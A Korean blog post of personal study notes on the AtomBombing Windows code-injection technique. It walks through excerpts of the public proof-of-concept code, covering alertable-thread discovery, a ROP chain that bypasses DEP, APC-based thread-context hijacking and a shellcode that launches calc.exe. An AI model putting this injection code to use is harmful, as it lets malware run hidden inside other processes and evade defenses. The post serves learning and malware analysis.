Atombombing 기법

Kail-KM
|2017. 5. 28. 09:56

Overview


AtomBombing 에 대해 개인적으로 공부하면서 정리한 내용이다. 주로 참고한 자료는 PoC 코드와 원문 블로그 내용이다. 원문 블로그에서는 Stage 를 3개로 나누었지만, 필자의 경우 개인적인 학습에 의미를 두며 4단계로 나누었다. 혹시 읽는 분은 참고바란다.


전체적인 동작은 아래 흐름도와 같다.


1. 악성 프로세스는 대상 프로세스에서 실행 시킬 ShellCode Atom Table 추가

2. 대상 프로세스가 Atom Table 로부터 ShellCode 가지고 오게 하도록 APC 사용

3. APC 통해 조작된 대상 프로세스는 ShellCode 가지고 DEP 후회를 위한 ROP Chain 사용



대상 프로세스에 개입하기 위해 주로 사용하는 API 아래와 같다.


NTSTAT NtQueueApcThread(

   _In_ HANDLE                   ThreadHandle,

   _In_ PIO_APC_ROUTINE      ApcRoutine,

   _In_ PVOID                      ApcRoutineContext OPTIONAL,

   _In_ PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,

   _In_ ULONG                     ApcReserved OPTIONAL

);

DWORD WINAPI QueueUserAPC(

   _In_ PAPCFUNC           pfnAPC,

   _In_ ULONG_PTR          hThread,

   _In_ ULONG_PTR          dwData

);


해당 API 가 사용되는 예는 아래와 같다.

// NtQueueApcThread

eReturn = main_NtQueueApcThreadWrapper(hRemoteThread, pfnWaitForSingleObjectEx, hWaitHandle, (PVOID)dwWaitMilliseconds, (PVOID)bWaitAlertable);

ESTATUS main_NtQueueApcThreadWrapper(HANDLE hThread, PKNORMAL_ROUTINE pfnApcRoutine, PVOID pvArg1, PVOID pvArg2, PVOID pvArg3)

{

...

ntStatus = NtQueueApcThread(hThread, pfnApcRoutine, pvArg1, pvArg2, pvArg3);

...

}

// QueueUserApcThread

eReturn = main_QueueUserApcWrapperAndKeepAlertable(hThread, (PAPCFUNC)SetEvent, (ULONG_PTR)RemoteHandle);

ESTATUS main_QueueUserApcWrapperAndKeepAlertable(HANDLE hThread, PAPCFUNC pfnAPC, ULONG_PTR dwData)

{

...

dwErr = QueueUserAPC(pfnAPC, hThread, dwData);

...

}



Stage #1


악성 프로세스는 대상 프로세스에서 공격 스레드를 탐색한다. 주로 사용 되는 방식이 APC 임에 따라 대상 스레드는 Alertable 상태여야 한다.  Alertable 상태의 스레드는 아래와 같이 동작한다.

 

* APC Thread Queue 프로시저가 있는지 확인

* Queueing 프로시저가 있을 경우 해당 프로시저를 실행

* 프로시저를 완료   다시 Queueing 정보가 있는지 확인

* 과정을 반복



최종적으로 하나의 Alertable 상태의 Thread 핸들을 가지고 온다.


ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)

{

eReturn = main_EnumProcessThreads(hProcess, &phProcessThreadsHandles, &cbProcessThreadsHandlesSize, &dwNumberOfProcessThreads);

...

for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)

{

HANDLE hThread = phProcessThreadsHandles[dwIndex];

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hThread, GetCurrentThread(), 5000, TRUE);

if (ESTATUS_FAILED(eReturn))

continue;

}

...

DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);

...

hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];

//If the thread is in an alertable state, keep it that way "forever".

eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(hAlertableThread, GetCurrentThread(), INFINITE, TRUE);

*phAlertableThread = hAlertableThread;

...

}



Stage #2


NtQueueApcThread 통해 대상 프로세스가 GlobalGetAtomName 호출했다고 가정하자. 하지만 이를 통해 가지고 Buffer DEP 인해 실행 없는 상태이다. 이를 우회하기 위한 방법이 바로 ROP Chain 이다. 선언된 ROP Chain 다음과 같은 구조체로 나타낼 있다.


typedef struct _ROPCHAIN

{

// Return address of ntdll!ZwAllocateMemory

PVOID pvMemcpy;

 

// Params for ntdll!ZwAllocateMemory

HANDLE ZwAllocateMemoryhProcess;

PVOID ZwAllocateMemoryBaseAddress;

ULONG_PTR ZwAllocateMemoryZeroBits;

PSIZE_T ZwAllocateMemoryRegionSize;

ULONG ZwAllocateMemoryAllocationType;

ULONG ZwAllocateMemoryProtect;

 

// Return address of ntdll!memcpy

PVOID pvRetGadget;

 

// Params for ntdll!memcpy        

PVOID MemcpyDestination;

PVOID MemcpySource;

SIZE_T MemcpyLength;

} ROPCHAIN, *PROPCHAIN;



ROP Chain 구성은 아래와 같이 한다.


pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);

 

ESTATUS main_BuildROPChain(PVOID pvROPLocation, PVOID pvShellcodeLocation, PROPCHAIN ptRopChain)

{

ROPCHAIN tRopChain = { 0 };

tRopChain.ZwAllocateMemoryhProcess = GetCurrentProcess();

tRopChain.ZwAllocateMemoryBaseAddress = (PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyDestination);

tRopChain.ZwAllocateMemoryZeroBits = NULL;

tRopChain.ZwAllocateMemoryRegionSize = (PSIZE_T)((PUCHAR)pvROPLocation + FIELD_OFFSET(ROPCHAIN, MemcpyLength));

tRopChain.ZwAllocateMemoryAllocationType = MEM_COMMIT;

tRopChain.ZwAllocateMemoryProtect = PAGE_EXECUTE_READWRITE;

tRopChain.MemcpyDestination = (PVOID)0x00;

tRopChain.MemcpySource = pvShellcodeLocation;

tRopChain.MemcpyLength = sizeof(SHELLCODE);

eReturn = GetFunctionAddressFromDll(NTDLL, MEMCPY, &tRopChain.pvMemcpy);

 

// Find a ret instruction in order to finally jump to the

// newly allocated executable shellcode.

eReturn = main_FindRetGadget(&tRopChain.pvRetGadget);

*ptRopChain = tRopChain;

}


구성 ROP Chain 예시는 아래와 같다.

[출처 - Reversenote]


ROP Chain 구성해주는 이유는 위에서 언급한 바와 같이 DEP 우회하기 위함이다. 우 ZwAllocateVirtualMemory() 통해 실행 권한이 있는 메모리를 할당할 것이며, AtomTable 에서 가지고 ShellCode memcpy 사용하여 새로 할당한 메모리로 복사할 것이다


ROP Chain 할당할 대상 메모리 공간은 아래와 같이 구한다. PoC 코드에서는 KernelBase.dll Data 섹션 부분을 지정하고 있다.

ESTATUS main_GetCodeCaveAddress(PVOID *ppvCodeCave)

{

PIMAGE_SECTION_HEADER ptSectionHeader = NULL;

PVOID pvCodeCave = NULL;

HMODULE hNtDll = NULL;

 

hNtDll = GetModuleHandleA("kernelbase.dll");

eReturn = main_GetSectionHeader(hNtDll, DATA_SECTION, &ptSectionHeader);

 

pvCodeCave = (PVOID)((DWORD) hNtDll + ptSectionHeader->VirtualAddress + ptSectionHeader->SizeOfRawData);

*ppvCodeCave = pvCodeCave;

}

 

CoveCave 공격을 위한 pvRemoteROPChainAddress, pvRemoteContextAddress, pvRemoteGetProcAddressLoadLibraryAddress, pvRemoteShellcodeAddress 기록해준다.    




Stage #3


이제 공격을 위한 준비는 모두 완료되었다. 그렇다면 어떻게 대상 스레드가 ROP Chain 이용하여 새로운 메모리로 Shellcode 복사한 실행할 있을까. 이를 위해 사용되는 방법은 아래와 같이 EIP ESP 지정해주는 것이다.

bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);

if (ESTATUS_FAILED(eReturn))

{

goto lblCleanup;

}

 

tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");

tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;

 

printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");

eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);

 

ESTATUS main_ApcSetThreadContextInternal(HANDLE hThread, PCONTEXT ptContext)

{

PKNORMAL_ROUTINE pfnSetThreadContext = NULL;

ESTATUS eReturn = ESTATUS_INVALID;

GetFunctionAddressFromDll(NTDLL, NTSETCONTEXTTHREAD, (PVOID *) &pfnSetThreadContext);

 

main_NtQueueApcThreadWrapper(hThread, pfnSetThreadContext, GetCurrentThread(), (PVOID)ptContext, (PVOID)NULL);

}


참고

SetThreadContext 악성 프로세스에서 호출하지 않고, 대상 프로세스에 APC 굳이 넘겨주는 이유는 공격이 끝난 원래의 흐름으로 복구하도록 하기 위함이다. 이에 대해선 Stage #4 확인하자.

 

참고

SetThreadContext(hThread, lpContext) 사용 NtQueueApcThread 사용한다. 경우 전달 있는 인자의 개수가 차이가 있어, Stack 에는 문제가 발생한다. 하지만 EIP 강제로 바꾸는 순간부터 이미 원래의 상태로는 되돌아갈 없다. 따라서 이에 대해서는 신경쓰지 않는다.


대상 스레드의 EIP ZwAllocateVirtualMemory   지정 , Stack ROP Chain 가리키도록 하면 아래와 같은 모습으로 나타낼 있다.


[출처 - Reversenote]



ZwAllocateVirtualMemory 호출한 Return 주소는 memcpy 것이다. 그리고 Stack 아래와 같이 "RETN 18" 인해 0x18 만큼 POP 된다.


위와 같이 진행된 EIP memcpy , Stack 아래와 같이 나타내어진다. 여기서 memcpy 첫번째 인자는 ZwAllocateVirtualMemory 번째 인자가 가리키고 있었기 떄문에, 새로 할당된 주소가 담겨있을 것이다.

[출처 - Reversenote]


Memcpy 진행 EIP RET 가젯을 가리키고 있을 것이다. 결국 2번의 Return 실행되면서 새로 할당된 주소로 Return 하게 된다. 이제 새로 할당 곳으로 복사된 Shellcode 코드가 진행 것이다.

 

 

복사 Shellcode 실행 필요한 인자 등은 이미 위에서 할당해준 것을 이용한다.

pvRemoteROPChainAddress = pvCodeCave;

pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);

pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);

pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;

eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);



Stage #4


공격자가 원하는 코드가 진행된 , 사용 스레드는 원래의 동작을 수행하도록 되어야 한다. 그렇지 않으면 사용자가 이상징후를 감지할 있다강제로 바뀌어 버린 EIP, 이에 대해 어떻게 원래의 동작을 수행하게끔 있을까. 이를 알기 위해선 APC 함수를 분배하는 함수인 Ntdll!KiUserApcDispatcher() 대해 알아야 한다.


정상적인 경우 해당 함수는 아래와 같이 동작하며 아래 예에서는 CALL EAX 통해 Queueing APC 함수를 실행한다그리고 APC 함수를 완료한 기존에 EDI 담긴 CONTEXT NtContine 한다.


참고

여기서부터는 악성프로세스가 아닌 실행 Shellcode 에서 구현되어야 하는 부분이다.

 

하지만 NtQueueApcThread(...SetThreadContext…) 실행시키고자 하는 경우 그림의 CALL EAX 에서 Return 수는 없다. 하지만 만약 CALL EAX 하기 , EDI 저장된 CONTEXT 내용을 보존할 있다면, 이야기는 달라진다.

 

공격자는 EDI 담긴 CONTEXT 저장하기 위해, Shellcode 도입부에 아래와 같은 명령어를 사용한다.

 

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

}

 

하지만 KiUserApcDispatcher 에서의 CALL EAX 부터, Sehllcode 도입부까지 EDI 변경되지 않음을 확실히 하기 위해 CONTEXT 구조체의 ContextFlags 설정하는 것이다. CONTEXT_CONTROL flag 설정되면 EIP, EBP, ESP, EFLAGS, SEGSS, SEGCS 제외한 다른 값은 수정되지 않는다.


 

도입부에서 CONTEXT 저장한 원하는 동작을 수행한다. 그리고 동작을 끝낸 , 이전에 저장한 CONTEXT 가지고 와서 NtContinue 호출해주면, 원래 저장된 CONTEXT 내용을 실행하게 것이다.

void shellcode_entry()

{

...

__asm{

mov[ptContext], edi;

}

...

pfnWinExec(pszCalcExe, 0);

pfnZwContinue(ptContext, 1);

}



Reference


Github, BreakingMalwareResearch : Atom-bombing

* https://github.com/BreakingMalwareResearch/atom-bombing

 

Blog, BreakingMalware : "AtomBombing: Brand New Code Injection for Windows"

* https://breakingmalware.com/injection-techniques/atombombing-brand-new-code-injection-for-windows/

 

Blog, Reversenote : "Atombombing - Stage 1 ~ 3"

* http://www.reversenote.info/atombombing-stage1/

 

MSDN, Windows API

* https://msdn.microsoft.com

 

Ntinternals, Undocumented : NTAPI

* https://undocumented.ntinternals.net/

 

Egloos, himskim : "APC 대하여" ; Alertable Thread 에 대해 쉽게 설명

* http://himskim.egloos.com/1053865

'Reversing > Theory' 카테고리의 다른 글

Process Doppelganging  (0) 2018.02.13
Dynamic Data Exchange (DDE)  (0) 2017.11.12
DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Memory Detection(메모리 진단)  (0) 2016.09.26